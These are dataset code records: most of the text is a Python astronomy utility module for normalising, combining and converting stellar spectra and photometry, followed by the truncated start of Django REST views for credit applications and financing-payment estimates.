sorted(map(list, rows) + [new_pos])\n sample = [np.array(i) for i in zip(*rows[\n rows.index(new_pos) - (n if direction == 'left' else 0): rows.index(new_pos) + (\n n if direction == 'right' else 0)])]\n final_pos = [position, np.average(sample[1], weights=1 / sample[2]), np.sqrt(sum(sample[2]) ** 2)]\n rows[rows.index(new_pos)] = final_pos\n spectrum = zip(*rows)\n return [i * j for i, j in zip(units, spectrum)]\n\n\ndef Jy2mag(band, jy, jy_unc, filter_dict=''): return flux2mag(band, (ac.c * jy / filter_dict[band]['eff'] ** 2).to(\n q.erg / q.s / q.cm ** 2 / q.AA), sig_f=(ac.c * jy_unc / filter_dict[band]['eff'] ** 2).to(\n q.erg / q.s / q.cm ** 2 / q.AA), photon=False, filter_dict=filter_dict)\n\n\ndef mag2flux(band, mag, sig_m='', photon=False, filter_dict=''):\n \"\"\"\n For given band and magnitude returns the flux value (and uncertainty if *sig_m*) in [ergs][s-1][cm-2][A-1]\n \"\"\"\n if band.startswith('M_'):\n band = band[2:]\n filt = filter_dict[band]\n f = (filt['zp_photon' if photon else 'zp'] * 10 ** (-mag / 2.5)).to(\n (1 if photon else q.erg) / q.s / q.cm ** 2 / q.AA)\n sig_f = f * sig_m * np.log(10) / 2.5 if sig_m else ''\n return [f, sig_f]\n\n\ndef make_composite(spectra):\n \"\"\"\n Creates a composite spectrum from a list of overlapping spectra\n \"\"\"\n units = [i.unit for i in spectra[0]]\n spectrum = spectra.pop(0)\n if spectra:\n spectra = [norm_spec(spec, spectrum) for spec in spectra]\n spectrum = [i.value for i in spectrum]\n for n, spec in enumerate(spectra):\n spec = [i.value for i in spec]\n IDX, idx = np.where(np.logical_and(spectrum[0] < spec[0][-1], spectrum[0] > spec[0][0]))[0], \\\n np.where(np.logical_and(spec[0] > spectrum[0][0], spec[0] < spectrum[0][-1]))[0]\n low_res, high_res = [i[IDX] for i in spectrum], rebin_spec([i[idx] for i in spec], spectrum[0][IDX])\n mean_spec = [spectrum[0][IDX], np.array(\n [np.average([hf, lf], weights=[1 / he, 1 / le]) for hf, he, lf, le in\n zip(high_res[1], high_res[2], low_res[1], low_res[2])]),\n np.sqrt(low_res[2] ** 2 + high_res[2] ** 2)]\n spec1, spec2 = sorted([spectrum, spec], key=lambda x: x[0][0])\n spec1, spec2 = [i[np.where(spec1[0] < spectrum[0][IDX][0])[0]] for i in spec1], [\n i[np.where(spec2[0] > spectrum[0][IDX][-1])[0]] for i in spec2]\n spectrum = [np.concatenate([i[:-1], j[1:-1], k[1:]]) for i, j, k in zip(spec1, mean_spec, spec2)]\n return [i * Q for i, Q in zip([i.value if hasattr(i, 'unit') else i for i in spectrum], units)]\n\n\ndef manual_legend(labels, colors, markers='', edges='', sizes='', errors='', styles='', text_colors='', fontsize=14,\n overplot='', bbox_to_anchor='', loc=0, ncol=1, figlegend=False):\n \"\"\"\n Add manually created legends to plots and subplots\n\n Parameters\n ----------\n labels: sequence\n A list of strings to appear as legend text, e.g. ['Foo','Bar','Baz']\n colors: sequence\n A list of colors for the legend markers, e.g. ['r','g','b']\n markers: sequence (optional)\n A list of markers or linestyles to use in the legend, e.g. ['o','^','--'], defaults to 'o'\n edges: sequence (optional)\n A list of colors to use as marker edge colors, e.g. ['m','None','k'], defaults to *colors*\n sizes: sequence (optional)\n A list of integers to specify the marker size of points or the linewidth of lines, e.g. [8,12,2], defaults to 10\n errors: sequence (optional)\n A list of boolean statements to indicate whether markers should display error bars of not, e.g. [True,False,\n False], defaults to False\n styles: sequence (optional)\n A list indicating whether each legend item should display a point 'p' or a line 'l', e.g. ['p','p','l'],\n defaults to 'p'\n text_colors: sequence (optional)\n A list of colors for each legend label, defaults to 'k'\n overplot: axes object (optional)\n The axes to draw the legend on, defaults to the active axes\n fontsize: int\n The fontsize of the legend text\n loc: int\n The 0-8 integer location of the legend\n ncol: int\n The integer number of columns to divide the legend markers into\n bbox_to_anchor: sequence (optional)\n The legend bbox_to_anchor parametrs to place it outside the axes\n figlegend: bool\n Plot as the plt.figlegend instead of an axes legend\n \"\"\"\n ax = overplot or plt.gca()\n handles = [plt.errorbar((1, 0), (0, 0), xerr=[0, 0] if r else None, yerr=[0, 0] if r else None,\n marker=m if t == 'p' else '', color=c, ls=m if t == 'l' else 'none',\n lw=s if t == 'l' else 2, markersize=s, markerfacecolor=c, markeredgecolor=e,\n markeredgewidth=2, capsize=0, ecolor=e) for m, c, e, s, r, t in\n zip(markers or ['o' for i in colors], colors, edges or colors, sizes or [10 for i in colors],\n errors or [False for i in colors], styles or ['p' for i in colors])]\n [i[0].remove() for i in handles]\n if figlegend:\n plt.figlegend(handles, labels, figlegend, frameon=False, numpoints=1, handletextpad=1 if 'l' in styles else 0,\n fontsize=fontsize, handleheight=2, handlelength=1.5, ncol=ncol)\n else:\n try:\n add_legend = ax.legend(handles, labels, loc=loc, frameon=False, numpoints=1,\n handletextpad=1 if 'l' in styles else 0, handleheight=2, handlelength=1.5,\n fontsize=fontsize, ncol=ncol, bbox_to_anchor=bbox_to_anchor, mode=\"expand\",\n borderaxespad=0.) if bbox_to_anchor else ax.legend(handles, labels, loc=loc,\n frameon=False, numpoints=1,\n handletextpad=1 if 'l' in\n styles else 0,\n handleheight=2, handlelength=1.5,\n fontsize=fontsize, ncol=ncol)\n ax.add_artist(add_legend)\n except:\n print(labels)\n\n if text_colors:\n ltext = plt.gca().get_legend().get_texts()\n for n, (t, c) in enumerate(zip(ltext, text_colors)):\n plt.setp(ltext[n], color=c)\n\n\ndef multiplot(rows, columns, ylabel='', xlabel='', xlabelpad='', ylabelpad='', hspace=0, wspace=0, figsize=(15, 7),\n fontsize=22, sharey=True, sharex=True):\n \"\"\"\n Creates subplots with given number or *rows* and *columns*.\n \"\"\"\n fig, axes = plt.subplots(rows, columns, sharey=sharey, sharex=sharex, figsize=figsize)\n plt.rc('text', usetex=True, fontsize=fontsize)\n\n if ylabel:\n if isinstance(ylabel, str):\n fig.text(0.04, 0.5, ylabel, ha='center', va='center', rotation='vertical', fontsize=fontsize)\n else:\n if columns > 1:\n axes[0].set_ylabel(ylabel, fontsize=fontsize, labelpad=ylabelpad or fontsize)\n else:\n for a, l in zip(axes, ylabel):\n a.set_xlabel(l, fontsize=fontsize, labelpad=xlabelpad or fontsize)\n\n if xlabel:\n if isinstance(xlabel, str):\n fig.text(0.5, 0.04, xlabel, ha='center', va='center', fontsize=fontsize)\n else:\n if rows > 1:\n axes[0].set_ylabel(ylabel, fontsize=fontsize, labelpad=ylabelpad or fontsize)\n else:\n for a, l in zip(axes, xlabel):\n a.set_xlabel(l, fontsize=fontsize, labelpad=xlabelpad or fontsize)\n\n plt.subplots_adjust(right=0.96, top=0.96, bottom=0.15, left=0.12, hspace=hspace, wspace=wspace)\n fig.canvas.draw()\n return [fig] + list(axes)\n\n\ndef norm_spec(spectrum, template, exclude=[]):\n \"\"\"\n Parameters\n ----------\n spectrum: sequence\n The [w,f] or [w,f,e] astropy quantities spectrum to normalize\n template: sequence\n The [w,f] or [w,f,e] astropy quantities spectrum to be normalized to\n exclude: sequence (optional)\n A sequence of tuples defining the wavelength ranges to exclude in the normalization\n include: sequence (optional)\n A sequence of tuples defining the wavelength ranges to include in the normalization\n\n Returns\n -------\n spectrum: sequence\n The normalized [w,f] or [w,f,e] astropy quantities spectrum\n \"\"\"\n template, spectrum, spectrum_units = np.array([np.asarray(i.value) for i in template]), np.array(\n [np.asarray(i.value) for i in spectrum]), [i.unit for i in spectrum]\n normed_spectrum = spectrum.copy()\n\n # Smooth both spectrum and template\n template[1], spectrum[1] = [smooth(x, 1) for x in [template[1], spectrum[1]]]\n\n # Find wavelength range of overlap for array masking\n spec_mask = np.logical_and(spectrum[0] > template[0][0], spectrum[0] < template[0][-1])\n temp_mask = np.logical_and(template[0] > spectrum[0][0], template[0] < spectrum[0][-1])\n spectrum, template = [i[spec_mask] for i in spectrum], [i[temp_mask] for i in template]\n\n # Also mask arrays in wavelength ranges specified in *exclude*\n for r in exclude:\n spec_mask = np.logical_and(spectrum[0] > r[0], spectrum[0] < r[-1])\n temp_mask = np.logical_and(template[0] > r[0], template[0] < r[-1])\n spectrum, template = [i[~spec_mask] for i in spectrum], [i[~temp_mask] for i in template]\n\n # Normalize the spectrum to the template based on equal integrated flux inincluded wavelength ranges\n norm = np.trapz(template[1], x=template[0]) / np.trapz(spectrum[1], x=spectrum[0])\n normed_spectrum[1:] = [i * norm for i in normed_spectrum[1:]]\n\n return [i * Q for i, Q in zip(normed_spectrum, spectrum_units)]\n\n\ndef norm_spec_fmin(spectrum, template, exclude=[], weighting=True, plot=False):\n \"\"\"\n Normalizes a spectrum to a template in wavelength range of overlap, excluding any specified wavelength ranges\n using function minimization of the goodness-of-fit statistic.\n\n \"\"\"\n template, spectrum, spectrum_units = [i.value for i in template], [i.value for i in spectrum], [i.unit for i in\n spectrum]\n normed_spectrum = spectrum\n\n if plot:\n plt.loglog(spectrum[0], spectrum[1], color='r')\n\n for x in exclude:\n normed_spectrum = [i[~np.logical_and(spectrum[0] > x[0], spectrum[0] < x[1])] for i in normed_spectrum]\n\n def errfunc(p, spec1, spec2, weighting=weighting):\n (w1, f1, e1), (f2, e2), weight = spec1, rebin_spec(spec2, spec1[0])[1:], np.gradient(\n spec1[0]) if weighting else np.ones(len(spec1[0]))\n if exclude:\n weight[weight > np.std(weight)] = 0\n return sum(weight * f1 * f2 / (e1 ** 2 + e2 ** 2)) / sum(weight * f2 ** 2 / (e1 ** 2 + e2 ** 2))\n\n norm = opt.fmin(errfunc, template[1][0] / normed_spectrum[1][0], args=(template, normed_spectrum), xtol=0.000000001,\n ftol=0.000000001, maxfun=1000)[0]\n spectrum[1:] = [i * norm for i in spectrum[1:]]\n\n if plot:\n plt.loglog(spectrum[0], spectrum[1], color='k')\n plt.loglog(template[0], template[1], color='k')\n plt.fill_between(spectrum[0], spectrum[1] - spectrum[2], spectrum[1] + spectrum[2], color='k', alpha=0.1)\n plt.fill_between(template[0], template[1] - template[2], template[1] + template[2], color='k', alpha=0.1)\n return [i * Q for i, Q in zip(spectrum, spectrum_units)]\n\n\ndef norm_to_mag(spectrum, magnitude, band):\n \"\"\"\n Returns the flux of a given *spectrum* [W,F] normalized to the given *magnitude* in the specified photometric *band*\n \"\"\"\n return [spectrum[0], spectrum[1] * magnitude / s.get_mag(band, spectrum, to_flux=True, Flam=False)[0], spectrum[2]]\n\n\ndef normalize(spectra, template, composite=True, plot=False, SNR=50, exclude=[], trim=[], replace=[], D_Flam=None):\n \"\"\"\n Normalizes a list of *spectra* with [W,F,E] or [W,F] to a *template* spectrum.\n Returns one normalized, composite spectrum if *composite*, else returns the list of *spectra* normalized to the\n *template*.\n \"\"\"\n if not template:\n spectra = [scrub(i) for i in sorted(spectra, key=lambda x: x[1][-1])]\n template = spectra.pop()\n\n if trim:\n all_spec = [template] + spectra\n for n, x1, x2 in trim:\n all_spec[n] = [i[idx_exclude(all_spec[n][0], [(x1, x2)])] for i in all_spec[n]]\n template, spectra = all_spec[0], all_spec[1:] if len(all_spec) > 1 else None\n\n (W, F, E), normalized = scrub(template), []\n if spectra:\n for S in spectra:\n normalized.append(norm_spec(S, [W, F, E], exclude=exclude + replace))\n if plot:\n plt.loglog(W, F, alpha=0.5), plt.fill_between(W, F - E, F + E, alpha=0.1)\n for w, f, e in normalized:\n plt.loglog(w, f, alpha=0.5), plt.fill_between(w, f - e, f + e, alpha=0.2)\n\n if composite:\n for n, (w, f, e) in enumerate(normalized):\n tries = 0\n while tries < 5:\n IDX, idx = np.where(np.logical_and(W < w[-1], W > w[0]))[0], \\\n np.where(np.logical_and(w > W[0], w < W[-1]))[0]\n if not any(IDX):\n normalized.pop(n), normalized.append([w, f, e])\n tries += 1\n else:\n if len(IDX) <= len(idx):\n (W0, F0, E0), (w0, f0, e0) = [i[IDX] * q.Unit('') for i in [W, F, E]], [i[idx] * q.Unit('')\n for i in [w, f, e]]\n else:\n (W0, F0, E0), (w0, f0, e0) = [i[idx] * q.Unit('') for i in [w, f, e]], [i[IDX] * q.Unit('')\n for i in [W, F, E]]\n f0, e0 = rebin_spec([w0, f0, e0], W0)[1:]\n f_mean, e_mean = np.array([np.average([fl, FL], weights=[1 / er, 1 / ER]) for fl, er, FL, ER in\n zip(f0, e0, F0, E0)]), np.sqrt(e0 ** 2 + E0 ** 2)\n spec1, spec2 = min([W, F, E], [w, f, e], key=lambda x: x[0][0]), max([W, F, E], [w, f, e],\n key=lambda x: x[0][-1])\n spec1, spec2 = [i[np.where(spec1[0] < W0[0])[0]] for i in spec1], [\n i[np.where(spec2[0] > W0[-1])[0]] for i in spec2]\n W, F, E = [np.concatenate([i[:-1], j[1:-1], k[1:]]) for i, j, k in\n zip(spec1, [W0, f_mean, e_mean], spec2)]\n tries = 5\n normalized.pop(n)\n\n if replace:\n W, F, E = modelReplace([W, F, E], replace=replace, D_Flam=D_Flam)\n\n if plot:\n if composite:\n plt.loglog(W, F, '--', c='k', lw=1), plt.fill_between(W, F - E, F + E, color='k', alpha=0.2)\n plt.yscale('log', nonposy='clip')\n\n if not composite:\n normalized.insert(0, template)\n else:\n normalized = [[W, F, E]]\n return normalized[0][:len(template)] if composite else normalized\n else:\n return [W, F, E]\n\n\ndef output_polynomial(n, m, sig='', x='x', y='y', title='', degree=1, c='k', ls='--', lw=2, legend=True, ax='',\n output_data=False, dictionary=True, plot_rms=True):\n p, residuals, rank, singular_values, rcond = np.polyfit(np.array(map(float, n)), np.array(map(float, m)), degree,\n w=1 / np.array([i if i else 1 for i in\n sig]) if sig != '' else None, full=True)\n f = np.poly1d(p)\n w = np.linspace(min(n), max(n), 50)\n ax.plot(w, f(w), color=c, ls=ls, lw=lw, label='${}$'.format(poly_print(p, x=x, y=y)) if legend else '', zorder=10)\n rms = np.sqrt(sum((m - f(n)) ** 2) / len(n))\n if plot_rms:\n ax.fill_between(w, f(w) - rms, f(w) + rms, color=c, alpha=0.1, zorder=-1)\n data = [[y, (min(n), max(n)), rms] + list(reversed(p))]\n\n D = {'yparam': y, 'xparam': x, 'rms': round(rms, 3), 'min': round(min(n), 1), 'max': round(max(n), 1)}\n D.update({'c{}'.format(str(o)): v for o, v in enumerate(list(reversed(p)))})\n\n print_data = np.asarray([[y, r'{:.1f}\\textless {}\\textless {:.1f}'.format(min(n), x, max(n)), '{:.3f}'.format(rms)] \n + ['{:.3e}'.format(v) for v in list(reversed(p))]])\n\n at.Table(print_data, names=['P(x)', 'x', 'rms'] + [r'$c_{}$'.format(str(i)) for i in range(len(p))]).pprint()\n print('\\n')\n # printer(['P(x)', 'x', 'rms'] + [r'$c_{}$'.format(str(i)) for i in range(len(p))], print_data, title=title,\n # to_txt='./Files/{} v {}.txt'.format(x, y) if output_data else False)\n return D if dictionary else data\n\n\ndef pi2pc(parallax, parallax_unc=0, pc2pi=False):\n if parallax:\n if pc2pi:\n return ((1 * q.pc * q.arcsec) / parallax).to(q.mas), (parallax_unc * q.pc * q.arcsec / parallax ** 2).to(\n q.mas)\n else:\n pi, sig_pi = parallax * q.arcsec / 1000., parallax_unc * q.arcsec / 1000.\n d, sig_d = (1 * q.pc * q.arcsec) / pi, sig_pi * q.pc * q.arcsec / pi ** 2\n return (d.round(3), sig_d.round(3))\n else:\n return ['', '']\n\n\ndef polynomial(values, coeffs, plot=False, color='g', ls='-', lw=2):\n '''\n Evaluates *values* given the list of ascending polynomial *coeffs*.\n\n Parameters\n ----------\n values: int, list, tuple, array\n The value or values to to evaluated\n coeffs: list, tuple, array\n The sequence of ascending polynomial coefficients beginning with zeroth order\n plot: bool (optional)\n Plot the results in the given color\n color: str\n The color of the line or fill color of the point to plot\n ls: str\n The linestyle of the line to draw\n lw: int\n The linewidth of the line to draw\n\n Returns\n -------\n out: float, list\n The evaluated results\n\n '''\n\n def poly_eval(val):\n return sum([c * (val ** o) for o, c in enumerate(coeffs)])\n\n if isinstance(coeffs, dict):\n coeffs = [coeffs[j] for j in sorted([i for i in coeffs.keys() if i.startswith('c')])]\n\n if isinstance(values, (int, float)):\n out = poly_eval(values)\n if plot:\n plt.errorbar([values], [out], marker='*', markersize=18, color=color, markeredgecolor='k',\n markeredgewidth=2, zorder=10)\n\n elif isinstance(values, (tuple, list, np.ndarray)):\n out = [poly_eval(v) for v in values]\n if plot:\n plt.plot(values, out, color=color, lw=lw, ls=ls)\n\n else:\n out = None; print(\"Input values must be an integer, float, or sequence of integers or floats!\")\n\n return out\n\n\ndef poly_print(coeff_list, x='x', y='y'): return '{} ={}'.format(y, ' '.join(['{}{:.3e}{}'.format(\n ' + ' if i > 0 else ' - ', abs(i), '{}{}'.format(x if n > 0 else '', '^{}'.format(n) if n > 1 else '')) for n, i in\n enumerate(coeff_list[::-1])][::-1]))\n\n\ndef printer(labels, values, format='', truncate=150, to_txt=None, highlight=[], skip=[], empties=True, title=False):\n \"\"\"\n Prints a nice table of *values* with *labels* with auto widths else maximum width if *same* else *col_len* if\n specified.\n \"\"\"\n\n def red(t):\n print(\"\\033[01;31m{0}\\033[00m\".format(t),)\n\n # if not to_txt: print '\\r'\n labels = list(labels)\n values = [[\"-\" if i == '' or i is None else \"{:.6g}\".format(i) if isinstance(i, (float, int)) else i if isinstance(\n i, (str, unicode)) else \"{:.6g} {}\".format(i.value, i.unit) if hasattr(i, 'unit') else i for i in j] for j in\n values]\n auto, txtFile = [max([len(i) for i in j]) + 2 for j in zip(labels, *values)], open(to_txt, 'a') if to_txt else None\n lengths = format if isinstance(format, list) else [min(truncate, i) for i in auto]\n col_len = [max(auto) for i in lengths] if format == 'max' else [150 / len(labels) for i in\n lengths] if format == 'fill' else lengths\n\n # If False, remove columns with no values\n if not empties:\n for n, col in enumerate(labels):\n if all([i[n] == '-' for i in values]):\n labels.pop(n)\n for i in values:\n i.pop(n)\n\n if title:\n if to_txt:\n txtFile.write(str(title))\n else:\n print(str(title))\n for N, (l, m) in enumerate(zip(labels, col_len)):\n if N not in skip:\n if to_txt:\n txtFile.write(str(l)[:truncate].ljust(m) if ' ' in str(l) else str(l)[:truncate].ljust(m))\n else:\n print(str(l)[:truncate].ljust(m),)\n for row_num, v in enumerate(values):\n if to_txt:\n txtFile.write('\\n')\n else:\n print('\\n',)\n for col_num, (k, j) in enumerate(zip(v, col_len)):\n if col_num not in skip:\n if to_txt:\n txtFile.write(str(k)[:truncate].ljust(j) if ' ' in str(k) else str(k)[:truncate].ljust(j))\n else:\n if (row_num, col_num) in highlight:\n red(str(k)[:truncate].ljust(j))\n else:\n print(str(k)[:truncate].ljust(j),)\n if not to_txt:\n print('\\n')\n\n\ndef rebin_spec(spec, wavnew, waveunits='um'):\n from pysynphot import spectrum, observation\n # Gives same error answer: Err = np.array([np.sqrt(sum(spec[2].value[idx_include(wavnew,[((wavnew[0] if n==0 else\n # wavnew[n-1]+wavnew[n])/2,wavnew[-1] if n==len(wavnew) else (wavnew[n]+wavnew[n+1])/2)])]**2)) for n in range(\n # len(wavnew)-1)])*spec[2].unit if spec[2] is not '' else ''\n if len(spec) == 2:\n spec += ['']\n try:\n Flx, Err, filt = spectrum.ArraySourceSpectrum(wave=spec[0].value,\n flux=spec[1].value), spectrum.ArraySourceSpectrum(\n wave=spec[0].value, flux=spec[2].value) if spec[2] else '', spectrum.ArraySpectralElement(spec[0].value,\n np.ones(\n len(spec[0])),\n waveunits=waveunits)\n except:\n spec, wavnew = [i * q.Unit('') for i in spec], wavnew * q.Unit('')\n Flx, Err, filt = spectrum.ArraySourceSpectrum(wave=spec[0].value,\n flux=spec[1].value), spectrum.ArraySourceSpectrum(\n wave=spec[0].value, flux=spec[2].value) if spec[2] else '', spectrum.ArraySpectralElement(spec[0].value,\n np.ones(\n len(spec[0])),\n waveunits=waveunits)\n return [wavnew, observation.Observation(Flx, filt, binset=wavnew.value, force='taper').binflux * spec[1].unit,\n observation.Observation(Err, filt, binset=wavnew.value, force='taper').binflux * spec[2].unit if spec[\n 2] else np.ones(len(wavnew)) * spec[1].unit]\n\n\ndef scrub(data):\n \"\"\"\n For input data [w,f,e] or [w,f] returns the list with NaN, negative, and zero flux (and corresponsing wavelengths and errors) removed.\n \"\"\"\n units = [i.unit if hasattr(i, 'unit') else 1 for i in data]\n data = [np.asarray(i.value if hasattr(i, 'unit') else i, dtype=np.float32) for i in data if\n isinstance(i, np.ndarray)]\n data = [i[np.where(~np.isinf(data[1]))] for i in data]\n data = [i[np.where(np.logical_and(data[1] > 0, ~np.isnan(data[1])))] for i in data]\n data = [i[np.unique(data[0], return_index=True)[1]] for i in data]\n return [i[np.lexsort([data[0]])] * Q for i, Q in zip(data, units)]\n\n\ndef smooth(x, beta):\n \"\"\"\n Smooths a spectrum *x* using a Kaiser-Bessel smoothing window of narrowness *beta* (~1 => very smooth, ~100 => not smooth)\n \"\"\"\n window_len = 11\n s = np.r_[x[window_len - 1:0:-1], x, x[-1:-window_len:-1]]\n w = np.kaiser(window_len, beta)\n y = np.convolve(w / w.sum(), s, mode='valid')\n return y[5:len(y) - 5] * (x.unit if hasattr(x, 'unit') else 1)\n\n\ndef specType(SpT):\n \"\"\"\n (By Joe Filippazzo)\n\n Converts between float and letter/number M, L, T and Y spectral types (e.g. 14.5 => 'L4.5' and 'T3' => 23).\n\n *SpT*\n Float spectral type between 0.0 and 39.9 or letter/number spectral type between M0.0 and Y9.9\n \"\"\"\n if isinstance(SpT, str) and SpT[0] in ['M', 'L', 'T', 'Y']:\n try:\n return [l + float(SpT[1:]) for m, l in zip(['M', 'L', 'T', 'Y'], [0, 10, 20, 30]) if m == SpT[0]][0]\n except:\n print(\"Spectral type must be a float between 0 and 40 or a string of class M, L, T or Y.\")\n return SpT\n elif isinstance(SpT, float) or isinstance(SpT, int) and 0.0 <= SpT < 40.0:\n try:\n return '{}{}'.format('MLTY'[int(SpT // 10)], int(SpT % 10) if SpT % 10 == int(SpT % 10) else SpT % 10)\n except:\n print(\"Spectral type must be a float between 0 and 40 or a string of class M, L, T or Y.\")\n return SpT\n else:\n return SpT\n\n\ndef str2Q(x, target=''):\n \"\"\"\n Given a string of units unconnected to a number, returns the units as a quantity to be multiplied with the number.\n Inverse units must be represented by a forward-slash prefix or negative power suffix, e.g. inverse square seconds may be \"/s2\" or \"s-2\"\n\n *x*\n The units as a string, e.g. str2Q('W/m2/um') => np.array(1.0) * W/(m**2*um)\n *target*\n The target units as a string if rescaling is necessary, e.g. str2Q('Wm-2um-1',target='erg/s/cm2/cm') => np.array(10000000.0) * erg/(cm**3*s)\n \"\"\"\n if x:\n def Q(IN):\n OUT = 1\n text = ['Jy', 'erg', '/s', 's-1', 's', '/um', 'um-1', 'um', '/nm', 'nm-1', 'nm', '/cm2', 'cm-2', 'cm2',\n '/cm', 'cm-1', 'cm', '/A', 'A-1', 'A', 'W', '/m2', 'm-2', 'm2', '/m', 'm-1', 'm', '/Hz', 'Hz-1']\n vals = [q.Jy, q.erg, q.s ** -1, q.s ** -1, q.s, q.um ** -1, q.um ** -1, q.um, q.nm ** -1, q.nm ** -1, q.nm,\n q.cm ** -2, q.cm ** -2, q.cm ** 2, q.cm ** -1, q.cm ** -1, q.cm, q.AA ** -1, q.AA ** -1, q.AA, q.W,\n q.m ** -2, q.m ** -2, q.m ** 2, q.m ** -1, q.m ** -1, q.m, q.Hz ** -1, q.Hz ** -1]\n for t, v in zip(text, vals):\n if t in IN:\n OUT = OUT * v\n IN = IN.replace(t, '')\n return OUT\n\n unit = Q(x)\n if target:\n z = str(Q(target)).split()[-1]\n try:\n unit = unit.to(z)\n except ValueError:\n print(\"{} could not be rescaled to {}\".format(unit, z))\n\n return unit\n else:\n return q.Unit('')\n\n\ndef squaredError(a, b, c):\n \"\"\"\n Computes the squared error of two arrays. Pass to scipy.optimize.fmin() to find least square or use scipy.optimize.leastsq()\n \"\"\"\n a -= b\n a *= a\n c = np.array([1 if np.isnan(e) else e for e in c])\n return sum(a / c)\n\n\ndef radec(rd, id=False, update=False):\n \"\"\"\n Converts SXG coordinates to decimal degrees and updates the database if a source_id and database instance are passed\n \"\"\"\n sign = '+' if '+' in rd[1:] else '-'\n ra, dec = rd.replace(':', '').replace(' ', '').split(sign)\n RA = cd.Angle(ra[:2] + ' ' + ra[2:4] + ' ' + ra[4:6] + ('.' if '.' not in ra else '') + ra[6:], unit='degree')\n DEC = cd.Angle(sign + dec[:2] + ' ' + dec[2:4] + ' ' + dec[4:6] + ('.' if '.' not in dec else '') + dec[6:],\n unit='degree')\n radeg = '{:.5f}'.format(RA.value)\n decdeg = '{:.5f}'.format(DEC.value)\n if update and id:\n update.modify(\"update sources set ra={}, dec={} where id={}\".format(radeg, decdeg, id))\n else:\n print(radeg, decdeg)\n\n\ndef trim_spectrum(spectrum, regions, smooth_edges=False):\n trimmed_spec = [i[idx_exclude(spectrum[0], regions)] for i in spectrum]\n if smooth_edges:\n for r in regions:\n try:\n if any(spectrum[0][spectrum[0] > r[1]]):\n trimmed_spec = inject_average(trimmed_spec, r[1], 'right', n=smooth_edges)\n except:\n pass\n try:\n if any(spectrum[0][spectrum[0] < r[0]]):\n trimmed_spec = inject_average(trimmed_spec, r[0], 'left', n=smooth_edges)\n except:\n pass\n return trimmed_spec\n\n\ndef truncate_colormap(cmap, minval=0.0, maxval=1.0, n=100):\n \"\"\"\n Take a slice of a colormap\n \"\"\"\n import matplotlib.colors as clrs\n new_cmap = clrs.LinearSegmentedColormap.from_list(\n 'trunc({n},{a:.2f},{b:.2f})'.format(n=cmap.name, a=minval, b=maxval),\n cmap(np.linspace(minval, maxval, n)))\n return new_cmap\n\n\ndef unc(spectrum, SNR=20):\n \"\"\"\n Removes NaNs negatives and zeroes from *spectrum* arrays of form [W,F] or [W,F,E].\n Generates E at signal to noise *SNR* for [W,F] and replaces NaNs with the same for [W,F,E].\n \"\"\"\n S = scrub(spectrum)\n if len(S) == 3:\n try:\n S[2] = np.array([i / SNR if np.isnan(j) else j for i, j in zip(S[1], S[2])], dtype='float32') * (\n S[1].unit if hasattr(S[1], 'unit') else 1)\n except:\n S[2] = np.array(S[1] / SNR)\n elif len(S) == 2:\n S.append(S[1] / SNR)\n return S\n","sub_path":"SEDkit/utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":55237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"456863015","text":"from django.core import signing, exceptions\nfrom django.db import transaction\nfrom django.shortcuts import redirect\nfrom django.utils.decorators import method_decorator\nfrom django.utils.http import is_safe_url\nfrom django.utils.translation import gettext_lazy as _\nfrom rest_framework.response import Response\nfrom rest_framework import views, generics, status, serializers\nfrom oscarapi.basket import operations\nfrom ..core.signals import wfrs_sdk_app_approved\nfrom ..models import (\n APIMerchantNum,\n SDKMerchantNum,\n PreQualificationRequest,\n PreQualificationResponse,\n FinancingPlan,\n PreQualificationSDKApplicationResult,\n AccountInquiryResult,\n)\nfrom ..utils import list_plans_for_basket, calculate_monthly_payments\nfrom .serializers import (\n CreditApplicationSerializer,\n FinancingPlanSerializer,\n EstimatedPaymentSerializer,\n AccountInquirySerializer,\n PreQualificationRequestSerializer,\n PreQualificationResponseSerializer,\n PreQualificationSDKResponseSerializer,\n PreQualificationSDKApplicationResultSerializer,\n)\nfrom .exceptions import CreditApplicationPending\nimport decimal\n\nINQUIRY_SESSION_KEY = \"wfrs-acct-inquiry-id\"\nPREQUAL_SESSION_KEY = \"wfrs-prequal-request-id\"\nSDK_APP_RESULT_SESSION_KEY = \"wfrs-sdk-app-result-id\"\n\n\n# This (non-atomic request) is needed because we use exceptions to bubble up the application pending / declined\n# status, but when that happens we still want to save the application data (rather than rollback).\n@method_decorator(transaction.non_atomic_requests, name=\"dispatch\")\nclass CreditApplicationView(generics.GenericAPIView):\n serializer_class = CreditApplicationSerializer\n\n def post(self, request):\n request_ser = self.get_serializer_class()(\n data=request.data, context={\"request\": request}\n )\n request_ser.is_valid(raise_exception=True)\n try:\n result = request_ser.save()\n except CreditApplicationPending as e:\n request.session[INQUIRY_SESSION_KEY] = e.inquiry.pk\n raise e\n response_ser = AccountInquirySerializer(\n instance=result, context={\"request\": request}\n )\n request.session[INQUIRY_SESSION_KEY] = result.pk\n return Response(response_ser.data)\n\n\nclass FinancingPlanView(views.APIView):\n def get(self, request):\n basket = operations.get_basket(request)\n plans = list_plans_for_basket(basket)\n ser = FinancingPlanSerializer(plans, many=True)\n return Response(ser.data)\n\n\nclass EstimatedPaymentView(views.APIView):\n def get(self, request):\n # Validate the price input\n try:\n principal_price = request.GET.get(\"price\", \"\")\n principal_price = decimal.Decimal(principal_price).quantize(\n decimal.Decimal(\"0.00\")\n )\n except decimal.InvalidOperation:\n principal_price = decimal.Decimal(\"0.00\")\n\n if not principal_price or principal_price <= 0:\n data = {\n \"price\": _(\"Submitted price parameter was not valid.\"),\n }\n return Response(data, status=status.HTTP_400_BAD_REQUEST)\n\n # Get the best matching Financing Plan object for the price\n plan = FinancingPlan.get_advertisable_plan_by_price(principal_price)\n if not plan:\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n # Calculate the monthly payment\n monthly_payment = calculate_monthly_payments(\n principal_price, plan.term_months, plan.apr\n )\n\n # Calculate the total loan cost\n loan_cost = (monthly_payment * plan.term_months) - principal_price\n loan_cost = max(decimal.Decimal(\"0.00\"), loan_cost)\n loan_cost = loan_cost.quantize(principal_price, rounding=decimal.ROUND_UP)\n\n # Return the payment data\n ser = EstimatedPaymentSerializer(\n instance={\n \"plan\": plan,\n \"principal\": principal_price,\n \"monthly_payment\": monthly_payment,\n \"loan_cost\": loan_cost,\n }\n )\n return Response(ser.data)\n\n\nclass UpdateAccountInquiryView(views.APIView):\n \"\"\"\n After submitting a credit app, a client may use this view to update their credit limit info (for\n example, if the credit app was returned as pending).\n 